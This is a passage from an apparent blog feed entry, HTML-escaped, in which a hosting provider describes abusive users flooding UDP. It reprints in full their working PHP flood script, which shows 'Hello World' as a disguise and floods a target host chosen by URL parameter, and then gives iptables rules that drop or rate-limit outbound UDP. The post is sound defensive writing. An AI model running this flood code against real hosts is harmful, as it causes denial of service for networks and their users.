class=&#34;k&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Hello World&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$lol&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;gethostbyname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;v&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65535&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;.=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;X&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;tcp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;tcp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;udp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;udp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$mt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fsockopen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$lol&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$errstr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nv&#34;&gt;$fwriteFile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fwrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nx&#34;&gt;fclose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$ps&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;round&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65536&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$lol&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; flooded with &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; packets. &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$ps&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; MB sent over &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; seconds. ( &amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;round&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ps&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34; MB/s ) &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$fwriteFile&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;the-solution&#34;&gt;The Solution&lt;/h3&gt;&#xA;&lt;p&gt;Generally speaking, there&#39;s no need to allow UDP traffic other than DNS.&lt;/p&gt;&#xA;&lt;p&gt;All non-essential UDP traffic can be completely blocked with the following settings:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# allow dns requests to google nameservers&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp --dport &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; -d 8.8.8.8 -j ACCEPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp --dport &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; -d 8.8.4.4 -j ACCEPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# block all other udp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;ip6tables -A OUTPUT -p udp -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gist: &lt;a href=&#34;https://gist.github.com/thoward/24b0102355331dd6dd3b&#34;&gt;https://gist.github.com/thoward/24b0102355331dd6dd3b&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, rate limiting can be employed as a more tolerant measure:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# Outbound UDP Flood protection in a user defined chain.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -N udp-flood&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp -j udp-flood&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -j LOG --log-level &lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; --log-prefix &lt;span class=&#34;s1&#34;&gt;&amp;#39;UDP-flood attempt: &amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gist: &lt;a href=&#34;https://gist.github.com/thoward/6180165&#34;&gt;https://gist.github.com/thoward/6180165&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: You&#39;ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!&lt;/em&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.&lt;/p&gt;&#xA;&lt;p&gt;Some basic &lt;code&gt;iptables&lt;/code&gt; settings can prevent this kind of thing from happening.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-attacker&#34;&gt;The Attacker&lt;/h3&gt;&#xA;&lt;p&gt;Here&#39;s an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;ignore_user_abort&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;TRUE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;set_time_limit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Hello World&amp;#39;&lt;/span&gt;&lt;span 